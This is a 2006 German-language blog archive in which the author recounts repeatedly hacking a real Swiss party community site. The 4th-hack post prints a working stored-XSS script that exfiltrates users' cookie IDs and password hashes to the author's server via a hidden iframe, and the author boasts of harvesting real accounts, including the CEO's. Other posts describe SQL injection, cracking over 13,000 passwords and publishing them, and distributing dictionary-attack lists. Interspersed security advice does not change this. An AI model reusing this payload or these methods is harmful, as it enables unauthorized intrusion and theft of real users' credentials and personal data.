Posts Tagged ‘Partyguide’

Sonntag, 9. Juli 2006

Der vierte Partyguide-Hack

Wie bereits in meinem gestrigen Artikel Partyguide Strikes Back angetönt habe ich eine weitere (äusserst peinliche) Schwachstelle auf der Community-Web-Site mit der „schweizweit längsten Verweildauer“ gefunden.

Obwohl Partyguide auch dieses Mal seinen Benutzern nichts über die Sicherheitslücke und die mögliche Kompromittierung ihrer Passwörter erzählt hat (bisher jedenfalls), äusserte man indirekt Kenntnis über die Attacke, als man meine Passwort-Datenbank mit einer DDoS-ähnlichen Attacke zuspammen wollte. Das ist natürlich auch eine Art, auf solche Hacks zu reagieren – und eine sehr professionelle dazu:

Deshalb entschieden wir uns, dein Skript ein paar Tausend mal mit gefakten Daten aufzurufen. […] Ob die ganze Aktion erfolgreich verlaufen ist, können wir natürlich nicht sagen.

Quelle: Kommentar von Oli (seines Zeichen Partyguide-Partisan und einer der Argonauten)

Zwei Hinweise von meiner Seite – den Rest kann man sich selber zusammenreimen:

  • Ich verwende INSERT IGNORE in meinem MySQL-Query. Primary Key ist die Benutzer-ID.
  • Meine MySQL-Datenbanken werden jede Nacht mit mysqlhotcopy gebackupt.

Bloatware

Als diesmalige Schwachstelle empfahl sich die kürzlich eingeführte Blog-Funktion (Ein einig Volk von Bloggern (Partyguide 1, eBay 1) und Partyguide und seine Blogs).

Mit dem „Wir-auch“-Ansatz hat man sich aber ein Ei gelegt. Die Parallelen zu Microsoft erstaunen den Kenner kaum: Deren Produkte zeichnen sich als Bloatware aus – bei jedem neuen Release stehen unzählige neue Funktionen im Vordergrund, der Qualitätssicherung und Sicherheit zollt man – wenn überhaupt – nur beiläufig Respekt.

Microsoft hat mit dem Wurm-Debakeln ab 2001 ernsthafte Konsequenzen aus diesem fragwürdigen Verhalten gezogen; Service Pack 2 für Windows XP war das markanteste Anzeichen für den eingetretenen Sinneswandel. Seit diesem glorreichen Tag heisst es auch in Redmond: Security first. Wann folgt auch Partyguide endlich diesem Motto?

Partyguide war sich für diesen Schritt bisher aber zu Schade. Dabei haben den Betreibern über 200’000 Benutzer persönliche Angaben wie Vornamen, Nachnamen, Adresse, Geburtsdatum, Telefonnummer, E-Mail-Adresse anvertraut …

Man verfolgt bei der Bekämpfung von Sicherheitslücken den erfolgsversprechenden Ansatz, potentielle Hacker mundtot zu machen. Anstelle das man die Probleme ein für allemal beseitigt (mein Vorschlag: Code-Audit – aber nicht durch die längst disqualifizierten stümperhaften Programmierer, sondern durch Profis), köpft man lieber den Überbringer der schlechten Nachricht.

Funktionsweise des Exploits

Die Leser werden sich nun fragen, wie dieser vierte Hack (Nummer drei war bisher der spektakulärste – sowohl im Umfang wie auch bezüglich Peinlichkeit) zu stande kam …

Nach den erstaunlichen Cookie-Tricklein, auf die mich ein anonymer Tippgeber aufmerksam machte, kam die XSS-Attacke (ohne Exploit) von Dritten, um danach mir erneut die Chance zu geben, mittels SQL-Injection die Datenbank auf im Klartext gespeicherte Passwörter „abzugrasen“.

Nummer Vier wiederum kam durch einen Initialhinweis durch Dritte zu Stande – dieses Mal handelt es sich um eine ganz klassische eine JavaScript-Injection. Alte Schule, nichts bahnbrechends Neues, seit Jahren bekannt. Wohl nur nicht auf der Argo (paradox: Argo bedeutet auf Griechisch „die Schnelle“) …

Ziel des Angriffs war die bereits erwähnte Blog-Funktion. Diese wurde eingeführt, weil ein findiger Kopf auf dem Schiffchen die glänzende Idee gehabt hatte, auf den momentanen Blog-Hype aufzuspringen.

Ganz nebenbei: Ehrlich gesagt würde ich lieber ein Corporate Blog begrüssen – Titel „Jason und die Party-Argonauten“, in dem wir offizielle Statements zu aktuellen Problemen/Neuerungen nachlesen können. Dauert wohl noch etwas länger.

Und noch einmal nebenbei: Man kann sich überhaupt fragen, ob man dieser Funktion überhaupt den Beinamen „Blog“ geben darf – oder nicht eher: Aufgebohrte Kommentarfunktion? Egal. Der registrierte User kann also der ganzen Welt mitteilen, was Belangloses gerade in seinem Leben abläuft. Und das natürlich nicht nur in Form von Plain-Text, sondern auch mit Textauszeichnunge (Schriften, Farben, Textgrössen, Textauszeichnugne) – realisiert durch HTML-Code. Spätestens hier sollten die Alarmglocken eines sicherheitsbewussten Entwicklers schrillen.

Nun war es so, dass man sich für einen WYSIWYG-HTML-Editor entschied. Die Wahl der Entwickler fiel auf FCKeditor, den ich selbst in einigen Web-Projekten auch einsetze. Daran ist nichts auszusetzen. Was ich erst später entdeckte: Lustigerweise wird aber dieser Editor in Safari, meinem Browser der Wahl, nicht geladen (FCKeditor wäre eigentlich Safari-kompatibel). Ich konnte Artikel also in Plain-Text eingeben, war mir diesem Unterscheid gegenüber den anderen Usern vorerst aber nicht bewusst.

Der Hinweis, der den Ansatz für diesen Exploit lieferte, wurde mir durch einen anonymen Tippgeber zugestellt. Die Person hatte entdeckt, dass man in das Titelfeld JavaScript-Befehle eingeben konnte, die nicht ausgefiltert wurden (bspw. mit der netten PHP-Funktion htmlentities()). Mein Ehrgeiz war auf alle Fälle geweckt.

Nach einer kurzen Überprüfung des Sachverhaltes begann ich, den JavaScript-Exploit zu coden. Ziel: Durch den zweiten Hack angeregt die Cookie-Daten des Lesers des Blogs auszulesen und diese an ein Script auf einem meiner Server weiterzuleiten.

Die Limitation der Zeichen im Titelfeld war sehr mühsam und ich brachte den gewünschten Code nicht im verfügbaren Platz unter. Ich wollte bereits aufgeben, als ich als letzter, verzweifelter Versuch den Code in die textarea, das eigentliche Feld für den Inhalt des Artikels, eingab. Ich konnte mir zu diesem Zeitpunkt überhaupt nicht vorstellen, dass jemand so blöd wäre, JavaScript-Befehle in diesem Feld ungefiltert entgegenzunehmen, in der DB abzuspeichern und danach wieder ohne Behandlung kritischer HTML-Befehle auszugeben. Denkste!

Folgender Code wurde ohne zu murren gefressen:

<script>
 d=document;c=d.cookie;
 
 exp=/c_id=([0-9]{1,6})/;id=exp.exec(c); 
 exp=/c_psw=([a-zA-Z0-9]{32})/;pw=exp.exec(c);
 
 if(id[1] && pw[1]) {
  d.write('<iframe width=\'0\' height=\'0\' src=\'http://p.mad4you.homeip.net/b.gif?i='+id[1]+'&p='+pw[1]+'\'></iframe>');
 }
 </script>

und füllte fortan meine Datenbank.

Soweit ich es erkennen kann, übernimmt eine Funktion des FCKeditors das Ausfiltern unerlaubter Tags. Da diese Applikation aber Client-seitig läuft, ist es lächerlich, sich ausschliesslich darauf zu verlassen! Man tat es – wohl aus einer Kurzschlussreaktion heraus – trotzdem.

Schade nur, dass die Frequenz der Übermittlungen deutlich abnahm, sobald mein Artikel auf Grund der Veröffentlichungszeit die Titelseite verliess. Ich griff zu dem umständlichen Trick, den Artikel von Zeit zu Zeit neu zu speichern, denn dann wurde das Veröffentlichungsdatum automatisch angepasst und der Artikel fand wieder den Weg auf die Titelseite.

Die Zielpersonen für diesen Angriff waren zweifach eingeschränkt: Einerseits mussten die Personen die Autologin-Funktion aktiviert haben, denn sonst wird keine User-ID und der Passwort-MD5-Hash (die Verwendung eines Hashes wurde durch mich angeregt – vorher Plain-Text) im Cookie gespeichert. Andererseits mussten die Personen auch aktiv die Blog-Seite ansurfen. Alles in allem ein sehr unergiebiger Prozess – aber dennoch spassig (halt, nein, es handelt sich um eine sehr ernste Sache, mögen PG-Jünger rufen – Gegenfrage: Wenn es so ernst ist, wieso sind die „ernsten“ Daten so lächerlich gesichert?!).

Findings

Nicht, dass diese Regeln neu wären, doch bei den Partyguide-Entwicklern ist die Meldung wohl noch nicht bis zum Grosshirn durchgekommen:

  • Traue nie GPC-Daten! (GPC = GET/POST/Cookie)
  • Validiere Eingaben niemals Client-seitig, sondern auf dem Server
  • Teste Scripts
  • Teste Scripts nicht mit denjenigen Daten, die du als Programmierer erwartest
  • Teste Web-Sites auf den wichtigsten Browsern (MSIE, Mozilla/Firefox, Opera, Safari/KHTML)

Evil

Bin ich nun ein Böser, weil ich a) aktiv oder durch Hinweise nach Exploits suche und b) dann auch hinterhältig Passwort-Daten sammle? Und all dies, ohne Partyguide innert Minuten nach der Entdeckung der Sicherheit benachrichtige? Oli findet es:

Jedoch mussten wir wieder einmal mehr feststellen, mit welchen bösartigen Absichten du pg gegenüber stehst. […] Im letzten Monat bist Du aber definitiv zu weit gegangen. Deine Böswilligkeit kommt immer mehr zum Vorschein.

May I introduce: The Antichrist himself! Von Nostradamus seit Jahrhunderten vorausgesagt, nun endlich wandelt er im Körper von Mario Aeby auf Gottes Erde …

Kollege Burgdorfer amüsierte sich ab dieser Aussage: Wenn das Böse sei, was ich bisher gemacht hätte, hat Oli ein komisches Verständnis von Bösheiten …

Spass bei Seite: Sicherlich ist mein Vorgehen nicht dasjenige eines professionellen Security-Experten. Aber für mich waren die letzten zwei Hacks eben auch ein Test, der aufzeigen sollte, ob die Betreiber der Community-Site ihre Applikation entsprechend aufmerksam überwachen. Beim letzten Hack dauerte die Reaktionszeit satte 7 Tage, obwohl eine Betrachtung der Log-Daten schon am ersten Tag meiner Attacke auffällige Angaben enthielt.

Der vierte Hack wurde nur entdeckt, weil Partyguide von einem Dritten darauf aufmerksam gemacht wurde. Man stelle sich vor, ich hätte bis in den Herbst hinein weiter auf Partyguide „gebloggt“ …

Auch der CEO tappt in die Falle

Ist er nicht süss: Schon am zweiten Tag meiner Sammelaktion fand sich in der Datenbank einen Eintrag mit der Benutzer-ID ‚1‘ …

Tags: ,
Labels: Allgemein

Keine Kommentare | neuen Kommentar verfassen

Freitag, 7. Juli 2006

Partyguide Strikes Back


Partyguide Strikes Back I
Originally uploaded by emeidi.

Partyguide Strikes Back II
Originally uploaded by emeidi.

Gestern Donnerstag, kurz nach Mitternacht, muss es Jason und den Argonauten endgültig den Nuggi rausgejagt haben. Wenige Tage vor dem siebenjährigen Geburtstag der (in den letzten sechs Monaten wohl am häufigsten gehacktenTM) schweizerischen Party-Community blies man nun zum Gegenschlag gegen den so verhassten think eMeidi.

Die Verantwortlichen entdeckten – ob durch Hinweis eines Dritten Mitstreiters sei dahingestellt – meine Arbeiten am vierten Partyguide-Hack (JavaScript-Injection, später dazu mehr – dank an Anonymous für den ursprünglichen Tipp).

Nach stundenlangen Beratungen im Tipi des Häuptling Jasons kamen die geistreichen Argonauten zum Schluss, mit geballter Feuerkraft zurückzuschiessen. Für was verfügt man denn über genug Bandbreite und eine Vielzahl an Servern (zum Teil gar durch Gönner mitfinanziert)?

So wurde mein Debian-Server kurz nach 00:00 Uhr Ziel einer stümperhaften DoS-Attacke, die erst heute Nachmittag kurz vor 16:00 Uhr abbrach. Wie man es den beiden cacti-Graphen ansieht, äusserten sich die geballten Aufrufe meines Scriptleins, das Usernamen und Passwort-Hashes (aus dem Cookie) in Empfang nahm, sowohl in einem konstanten ein- und ausgehenden Traffic auf eth0 sowie einer stark erhöhten Load Average auf meiner schmalbrüstigen Pentium III-CPU (600MHz).

Fazit

Ein access.log, das fünfmal so schwer wiegt wie sonst:

ALPHA:/var/log/apache2# ls -l
total 44808
-rw-r--r-- 1 root adm  29612337 2006-07-08 01:01 access.log
-rw-r--r-- 1 root adm   5789490 2006-07-02 06:24 access.log.1

… und uns auch noch etwas über die Technik von Partyguide erzählt:

217.150.245.77 - - [07/Jul/2006:15:50:27 +0200] "GET /b.gif?i=84455&p=ab5c62bbb11b644fdcecd91e89acd768 HTTP/1.1" 302 - "-" "curl/7.12.1 (i686-pc-linux-gnu) libcurl/7.12.1 OpenSSL/0.9.6m zlib/1.2.2"

… sowie auch die IP des mutmasslichen „Täters“ freigibt:

84.72.129.186 - - [07/Jul/2006:00:06:25 +0200] "GET /b.gif?i=100&p=1234 HTTP/1.1" 302 20 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4"

217.150.245.77 - - [07/Jul/2006:00:29:04 +0200] "GET /b.gif?i=196828 HTTP/1.1" 302 700 "-" "curl/7.12.1 (i686-pc-linux-gnu) libcurl/7.12.1 OpenSSL/0.9.6m zlib/1.2.2"

84.72.129.186 - - [07/Jul/2006:00:30:05 +0200] "GET /b.gif HTTP/1.1" 302 224 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4"

84.72.129.186 - - [07/Jul/2006:00:30:24 +0200] "GET /b.gif?i=196828 HTTP/1.1" 302 218 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4"

Eine MySQL-Tabelle mit knapp 110’000 Records, die allesamt vom Partyguide-Server aus kamen:

mysql> SELECT COUNT( * )  FROM  `xss`  WHERE ip =  '217.150.245.77';
+------------+
| COUNT( * ) |
+------------+
|     109342 |
+------------+
1 row in set (0.47 sec)

Und nicht zuletzt ein Beweis, wie robust Debian Linux mit Apache 2.0.55, PHP 4.4.2 und MySQL 4.1.15 ist.

Fehler von meiner Seite

Das nächste Mal schalte ich E_ALL in solch sensitiven Verzeichnissen wieder aus:

[Fri Jul 07 00:29:04 2006] [error] [client 217.150.245.77] PHP Notice:  Undefined index:  p in /var/www/pg-search/xss.php on line 12

Leider Gottes ein zu guter Ansatzpunkt für potentielle PG-Hacker …

Zu guter Letzt noch dies …

Es tut mir wirklich leid, das sagen zu müssen: Anstelle eure Energie an einem kleinen Fisch wie mir zu verschwenden, unterzieht ihr all eure PHP-Scripts einmal einem richtig gründlichen Security-Audit.

Tags:
Labels: Linux

Keine Kommentare | neuen Kommentar verfassen

Sonntag, 18. Juni 2006

Wahlistar …

… did it!

Die Italiener didn’t it, die Amis auch nicht, aber immerhin did it der Referee, der mehrmals wortwörtlich Rot sah.

Und das einzige was ich an diesem Abend „did“ war …

  • … zum ersten Mal Wachs in meine Haare zu schmieren (schien Wirkung zu zeigen)
  • … 60 SFr. in Alkohol zu investieren (immerhin zur Happy Hour im Eclipse) und die Crew damit abzufüllen
  • … einen neuen Schuppen namens Cuba (beim Kornhausplatz) zu betreten und mich auf den ersten Blick in einer Terrorzelle von Al-Qaida zu wähnen, danach aber doch genussvoll der lateinamerikanischen Musik zu frönen (*sing* „Como se llama, bonita, mi casa, su casa …“)
  • … um schlussendlich in Wahlis BMW Richtung Sonnenaufgang zu düsen (okey, da ich zugegebenermassen das dritte Rad am Wagen war, endete der Ausflug für mich bereits im Breitsch bei meiner Schlafgelegenheit aka. Hotel Mama).

Tags:
Labels: Allgemein

Keine Kommentare | neuen Kommentar verfassen

Montag, 12. Juni 2006

Partyguide auf den Spuren von Flirtlife.de


Flirtlife.de hacked
Originally uploaded by emeidi.

Wie der heute erschienen c’t zu entnehmen ist, scheint sich mein Partyguide-Hack in wunderbarer Koinzidenz mit einem anderen Hack ereignet zu haben:

Auf der Sicherheitsmailingliste Full Disclosure [Erläuterung des Begriffes] wurde eine Liste mit Zugangsdaten von rund 100 000 Nutzern der Internet-Dating-Website Flirtlife.de veröffentlicht.

Schade, schade …

Der Betreiber reagierte am Folgetag mit der Sperrung sämtlicher Accounts; rund 200 000 Turteltäubchen mussten sich ein neues Passwort setzen.

Betreiber kommen selbstverständlich deutlich stärker unter Druck, rasch und richtig zu reagieren, wenn die Passwörter ohne Vorwarnzeit veröffentlicht werden. In meinem Fall war es so, dass ich die Passwörter erst veröffentlicht habe, als a) die Sicherheitslücke von Betreiber geschlossen worden war und b) die Passwörter mit den kompromittierten Accounts nicht mehr funktionerten.

Im Gegensatz zu den Schlampereien bei Partyguide hielten sich die Entwickler von Flirtline.de an gängige Praktiken zum Schutz der Passwörter:

Dies stützt Kopolts Aussage, dass die Passwörter nicht von Flirtlife stammen können, weil dort Passwörter nicht im Klartext, sondern als MD5-Hashes gespeichert werden.

Quelle: c’t, Nr. 13, 12.06.2006, „Flirt-Passwörter“, S. 64.

Dasselbe habe ich im Nachgang den Betreibern von Partyguide empfohlen.

Was Flirtlife.de nicht sagt: Vielleicht war Jason (und seine Entwickler-Argonauten) dort als externe Developer beschäftigt und speicherten – wie lange Zeit bei Partyguide – die Passwörter im Klartext in Cookies ab?

Im Artikel wird vermutet, dass die Passwörter durch „Mitschneiden des Netzwerkverkehrs“ ergattert wurden. Hier müssen wir auf die Load-Balancer von Partyguide & Co. vertrauen. Denn dort sammelt sich der Netzverkehr schlussendlich und wäre am leichtesten abzugreifen.

Häufige Passwörter

Erstaunlich, wie ähnlich sich die Passwortlisten (Flirtlife-Passwörter: vgl. Scan des Artikels) der beiden Hacks sehen. Die Internet-Benutzerschaft scheint ein Faible für Passwörter zu haben, die mit 1234 beginnen oder hallo, ficken (das Partyguide-äquivalent: arschloch) oder passwort enthalten.

Ich hoffe schwer, dass die schweizerischen Party-Communities bereits Ende letzter Woche alles unternommen haben, um die tausenden privaten Datensätze von Benutzern weiter abzusichern. Ich bin mir nicht sicher, ob die Ableger der Generation Fun & Party die Verantwortung endlich für ihr Tun übernehmen möchten und wollen (ich warte schon gespannt auf Kommentator martin, der mich auffordert, die Verantwortung für mein Tun zu übernehmen und mich selbst wegen Datendiebstahl der übelsten Sorte anzuzeigen). Wie wäre es mit einer ISO-Zertifizierung? Für den Prüfbericht von Partyguide würde ich garantiert eine gewisse Summe hinblättern.

Wer Zeit und Lust hat (nein, diesmal nicht ich, da ich eher auf solch obereinfache Mini-Hacks stehe wie bei Partyguide *grins*), startet eine Brute-Force-Dictionary-Attack (alle Passwörter mit einem bestimmten Account durchtesten) mit den auf Full Disclosure und hier für Partyguide veröffentlichten Passwörtern.

Die Anbieter täten also gut daran, schleunigst Black-Lists verbotener Passwörter einzusetzen. Im gleichen Zug könnte man so auch hunderte, ja gar tausende nicht mehr genutzter Account löschen (laut einem anonymen Informanten ist Partyguide andererseits sehr stolz über seine über 200’000 User, auch wenn die Hälfte davon wohl gefaket ist – davon möchte man sich nicht gerne trennen).

Fazit

Partyguide dämmert es hoffentlich endlich, dass es intelligenter wäre, den gesamte Spaghetti-Code einem Security-Audit zu unterziehen, anstelle dauernd neue Features, die die Welt nicht braucht, aufzuschalten (nette Kritik der Blog-Funktion drüben bei Onkel Tom – FULL ACK).

Bisher erschienen …

Alle Blog-Beiträge, die Partyguide im Titel enthalten

0.5x Dank: Kollege Liechti, der vom Flirtlife-Hack wusste, aber dem der Name der Site partout nicht mehr einfallen wollte.

Nachtrag

Mittlerweile habe ich auch den Online-Artikel auf Heise gefunden:

Passwortdaten von Flirtlife.de kompromittiert

Spannend ist u.a. die Diskussion im Forum:

Seitenbetreiber haftbar?

… sowie auch in einem anderen Forum, in dem sich jemand frägt, ob es legal ist, die Liste der Passwörter herunterzuladen:

Frage zu Hack von Flirtportal

Die Parallelen sind in beiden Fällen hier nicht von der Hand zu weisen. Im Heise-Forum schlagen sich die meisten Teilnehmer aber glücklicherweise nicht auf die Seite des fahrlässigen Anbieters …

Und die Vermutung dieses Forum-Teilnehmers erweist sich – zumindest für Partyguide – als richtig:

select * from users where password like md5(username)

Und hiermit kickte sich der Anbieter von flirtlife.de definitiv in die Partyguide-Liga:

ein Datenbank-Kennwort der Datenbank war lange einsehbar

Der Klassiker schlechthin:

Unfähige Programmierer

Tags:
Labels: Allgemein

Keine Kommentare | neuen Kommentar verfassen

Samstag, 10. Juni 2006

Partyguide reagiert … ein Wenig.

Ein semi-offizielles Statement der Partyguide-Jünger auf die kürzlich entdeckte Sicherheitslücke findet sich in deren Forum (danke Francine, dass du dieses Thema erwähnst):

Ihr braucht euch natürlich keine Sorgen zu machen! Wir haben lediglich den Sicherheitsstandard grobfahrlässiger Passwörter nach oben korrigiert! Dies betraf folgende Passwörter welche aus nicht mindestens 8 Zeichen sowie Zahl und Buchstabe bestanden. Zum Teil gab es Accounts mit fahrlässigen Passwörtern, wie Nickname oder Geb. Datum um nur einige Beispiele zu nennen. Diese sind jetzt aber aus der Welt geschafft. Neu ist es auch nicht mehr möglich, ein unsicheres Passwort überhaupt erst zu erstellen. Daher ein Dankeschön an unsere Entwickler, welche dank Technik nun auch die Schwäche des Menschen sicher machen. Dieser Satz kommt ja nicht von ungefähr, Ihr wisst es ja alle! Maschinen lassen sich nicht Täuschen nur die Menschen, welche Sie Bedienen! Und jetzt kann man Sie ja nicht mehr falsch Bedienen…. ;-)

Quelle: Passwort ändern

Ach, was seid ihr nicht für liebe Menschen … Komisch nur, dass ich gestern Abend einen Account mit dem Passwort 123456 erstellen konnte?

Insbesondere „Daher ein Dankeschön an unsere Entwickler, welche dank Technik nun auch die Schwäche des Menschen sicher machen.“ finde ich unpassend – gerade diese Pfeifen haben euch Usern den Schlammassel in der Tat eingebrockt …

Tags:
Labels: Allgemein

Keine Kommentare | neuen Kommentar verfassen

Samstag, 10. Juni 2006

Häufige Passwörter

Im Nachgang zu dem gestern veröffentlichten Artikel über den dritten Partyguide-Hack möchte ich hier – nach wissenschaftlicher Manier – noch einige „Findings“ veröffentlichen. Auf prägnante Art und Weise, damit Entscheider ähnlicher Community-Sites ihre eigenen getroffenen Massnahmen mit meinen Empfehlungen vergleichen können:

  • Datenbank: Passwörter sollten von den Benutzerdaten getrennt in einer anderen Tabelle gespeichert werden. In diesem Falle hätte ich auch mit meiner „soften“ SQL Injection kein Zugriff auf dieses Feld gehabt. Zudem sollten sie nicht im Klartext abgelegt werden (MD5-Hash oder ähnliches Verfahren). Der Vorteil eines Hashes ist ausserdem, dass die Gross-/Kleinschreibung beachtet wird. Gemäss dem im letzten Artikel publizierten Mail scheint auf Partyguide endlich auch ein Hash zum Einsatz zu kommen:

    „Bitte beachte die Gross- und Kleinschreibung“

    Nachteil: Vergisst ein User sein Passwort, kann er sich dieses nicht zusenden lassen.

  • Statistiken: Obwohl bei solchen grossen Communities riesige access.log-Dateien anfallen, sollten diese zwingend im Auge behalten werden. Es hätte den Verantwortlichen viel früher auffallen sollen, dass ein Script im Vergleich zu den Vorwochen deutlich häufiger aufgerufen wird (und das auch noch in der späten Nacht). Die Log-Dateien sind gross, doch es müssten auf dem Markt Produkte existieren, die nichtssagende Informationen aus Log-Dateien ausfiltern können und Alarm schlagen, sobald sich verdächtige Ereignisse – wie deutlich gesteigerte Zugriffe auf bestimmte URLs – häufen.
  • Passwörter: Ein Programmierer, der es erlaubt, dass Benutzer seines Produkts als Passwort den Benutzernamen verwenden, gehört geteert und gefedert. Bei Partyguide konnte ich über 500 solcher Accounts dingfest machen, bei denen Usernamen und Passwort übereinstimmten.
    Weiter war es möglich, dass man ein Passwort bestehend aus einem Zeichen setzen konnte. Zwar wurde man beim Login (?) darauf hingewiesen, dass das Passwort unsicher sei und mindestens 6 Zeichen und eine Zahl enthalten sollte, doch Konsequenzen folgten keine.
    Ausserdem sollte eine Blacklist an verbotenen Passwörtern beigezogen werden (s. unten).
  • Programmierung: All diese Sicherheitsmassnahmen nützen nichts, wenn es den Programmiern eklatant an Sicherheitsbewusstsein mangelt. Nie, nie, nie sollte man GET/POST-Daten blind trauen. In diesem Fall war es so, dass der Programmierer von der irrigen Annahme davon ausging, das alles, was über GET/POST hereinkam, „clean“ war. Gerade das Gegenteil sollte aber angenommen werden: Böse Jungs wird es immer geben. Anstelle also die GET-Variablen mit einer foreach()-Schleife durchzuspulen und blindlings in ein SQL-Query einzubauen (Ironie des Schicksals: immerhin mysql_escape_string scheint man zu benutzen), definiert der Programmierer und nicht der HTTP Request, was in die SQL Query hinenkommt und was nicht. Inklusive einer Plausibilitätsprüfung.

    Weiter finde ich es auch nicht sinnvoll, SQL-Fehler an den Endbenutzer auszugeben. Dies half mir sehr, die Funktionsweise des Scripts zu verstehen:

    SELECT m.member_id,m.login,m.anrede,m.land,m.ort,m.kanton,m.land, m.geburtsdatum_sichtbar, FLOOR((TO_DAYS(NOW()) - TO_DAYS(CONCAT(geburtsdatum_jahr, - , LPAD(geburtsdatum_monat, 2, 0 ), - , LPAD(geburtsdatum_tag, 2, 0 )))) / 365) as member_alter, p.nr as hat_foto
    FROM members AS m
    LEFT JOIN members_pictures_upload AS p ON m.member_id = p.member_id AND p.nr = 1
    WHERE m.search = Array
    ORDER BY login LIMIT 0,500

    Nebenbei: Kennt man bei Partyguide den Feldtyp DATE nicht? Oder wieso speichert man Geburtsjahr, -monat und -tag in ein separates Feld?

Häufigste Passwörter …

… oder was Kennwörter über die durchschnittliche Intelligenz des Benutzers aussagen:

  • 123456 (427)
  • hallo (76)
  • LAKERS (73)
  • passwort (53)
  • 123456789 (53)
  • 12345 (51)
  • 1234 (51)
  • italia (44)
  • hallo1 (43)
  • arschloch (43)

Dictionary Attack

Im Netz gibt es eine Menge an Security-Sites, die sich zum Ziel gemacht haben, möglichst viele Passwortdateien bereitzustellen, mit denen Dictionary Attacks ausgeführt werden können. Für Partyguide musste ich natürlich lokale Gegebenheiten adaptieren. Ich stelle die Passwort-Dateien unter folgender URL zur freien Verfügung:

16 Passwort-Listen für Dictionary-Attack

Ob ein Richter hier schon von krimineller Energie sprechen wird? Ich weiss es nicht. Einige Kommentatoren vermuten ja schon, dass die Polizei in Bälde vor meiner Tür steht. Mal schauen.

Links

Nützliche Links:

PS: Ich warte immer noch auf eine offizielle Stellungnahme der Betreiber der Web-Site.

Tags:
Labels: Allgemein

Keine Kommentare | neuen Kommentar verfassen

Samstag, 10. Juni 2006

Der dritte Partyguide-Hack

In der letzten Woche standen 13’787 Accounts auf www.partyguide.ch offen.

Durch einen extrem peinlichen Fehler (für Partyguide nicht das erste Mal) war es jedermann (!) möglich, dank einer manipulierten Anfrage an das AJAX-Benutzer-Such-Script beliebige Felder der MySQL-Tabelle abzufragen, die alle Benutzerdaten enthielt. Neben Vornamen, Nachnamen, Geburtstdatum stand auch das Passwort-Feld jeglichen Anfragen offen.

Dank einer relativ simplen Dictionary-Attack war es mir innert weniger Tage möglich, Passwörter von über 13’000 Accounts freizulegen:

pg-search.mad4you.homeip.net

Deshalb erneut die Warnung an alle leichtgläubigen Surfer: Partyguide.ch nimmt es mit dem Datenschutz überhaupt nicht ernst. Besprecht persönliche und private Anliegen NIE über diese kohärent unsichere Plattform. Sie verdient euer Vertrauen nicht, weil sie von einem unfähigen PHP-Programmier entwickelt wurde, der grundlegende Sicherheitsaspekte nicht berücksichtigt hat. Ihm scheint es egal zu sein, wenn unberechtigte Benutzer auf fremde Konten zugreifen können.

Immerhin scheint der Sysadmin meine gesteigerten Anfragen auf das AJAX-Script bemerkt zu haben. Gestern Donnerstag oder heute Freitag lud er dann selbst das .csv-File von meiner Site herunter, änderte das Passwort aller kompromittierter Benutzer und teilte ihnen dies auch mit:

Hallo <username>

Dein Passwort auf PartyGuide.ch wurde aus Sicherheitsgründen geändert
und lautet neu:

JasonIsTheBest

Bitte beachte die Gross- und Kleinschreibung. Du kannst es jederzeit
ändern unter myPage -> mySettings [ändern?!], bitte achte aber auf die
Passwort-Richtlinien. Dein Passwort sollte mindestens 8 Zeichen lang
sein und sowohl Buchstaben als auch Zahlen enthalten. Benutze niemals
deinen Namen, Geburtsdatum oder dergleichen als Passwort.

Besten Dank & liebe Grüsse
PartyGuide.ch Team

Dank dem .csv-File scheint es versierten Nutzern ein leichtes zu sein, zu überprüfen, ob die fahrlässigen Benutzer in Bälde ihr Passwort wieder auf den Standard-Wert zurücksetzen (als ich heute versucht habe, einen Account mit dem Passwort ‚123456‘ zu erstellen, hat dies ohne Komplikationen geklappt. Jungs von PG, ihr seid einfach *irre*!).

Natürlich schweigt man sich auf den plötzlichen Wechsel des Passwortes aus. Nein, man informiert die Nutzer nicht, dass ihr gewähltes Passwort, das evtl. auch für den E-Mail-Account verwendet wird, gefährdet ist. Typisch Partyguide. Hauptsache, niemand bekommt vor der konkreten Tragweite etwas mit.

Übrigens: Auch (jetzt unerwähnt gelassene) Konkurrenten schienen bis auf meinen Hinweis („Hey, wieviele User haben bei euch das Passwort 123456“) völlig hemmungslos erlaubt zu haben, unsichere Passwörter zu verwenden. Pfui. Immerhin haben sie vorsorglich reagiert.

Tags:
Labels: Allgemein

Keine Kommentare | neuen Kommentar verfassen

Dienstag, 6. Juni 2006

Ein einig Volk von Bloggern (Partyguide 1, eBay 1)

Da werde ich heute von sichtlich stolzen Partyguide-Staffs unaufhörlich auf die neue aufgeschaltete Blogging-Funktion auf der Community-Web-Site hingewiesen, und dann auch das noch:

Ein weiterer großer Name im Internetgeschäft springt auf den Web-2.0-Zug auf: eBay wird auf seiner Plattform in Kürze offenbar Blogs und auch Wikis integrieren.

Quelle: eBay integriert Blogs und Wikis

Irgendwie ist man heute einfach nicht mehr „cool“, wenn man nicht auch noch ein Blog auf seiner Plattform anbietet … Werfen wir doch alle mit schönen Buzzwords um uns.

Liebe Partyguide-Entwickler, liebe eBayer: Konzentriert euch doch lieber auf eure Kernkompetenzen, statt der microsoftschen Featuritis zu frönen. Wir wissen ja alle, wie es mit Microsoft endete: Nachdem man auch Windows XP wieder mit unzähligen Funktionen vollgepappt (verspätet) auf den Markt warf, kam die Rache der Bloatware: Sicherheitsprobleme en masse. Zumindest einer der beiden neuen Blogging-Dienstleister, die die Welt gerade noch gebraucht hat, kann ein Liedlein davon singen. Und beide sollten sie endlich einmal die Usability ihrer Produkte verbessern …

Tags: ,
Labels: Allgemein

Keine Kommentare | neuen Kommentar verfassen

Montag, 5. Juni 2006

Partyguide zensiert Konkurrenz


Partyguide censors Competitors (and me!)
Originally uploaded by emeidi.

Da entdecke ich gestern also, dass Partyguide Züge eines totalitären Einparteien-Staates in Asien annimmt, und nun das:

Nicht nur eMeidi fungiert auf der Liste der „banned words“, sondern auch tilllate, lautundspitz sowie usgang.ch (usgang kann aus verständlichen Gründen vom Vorsitzenden der allumfassenden Partyguide-Partei nicht zensiert werden).

Immerhin fühle ich mich in sehr, sehr guter Gesellschaft *smile*

PS: Four-Letter-Words werden übrigens als nicht anstössig betrachtet.

Dank: Kollege Saxer

Tags:
Labels: Allgemein

Keine Kommentare | neuen Kommentar verfassen

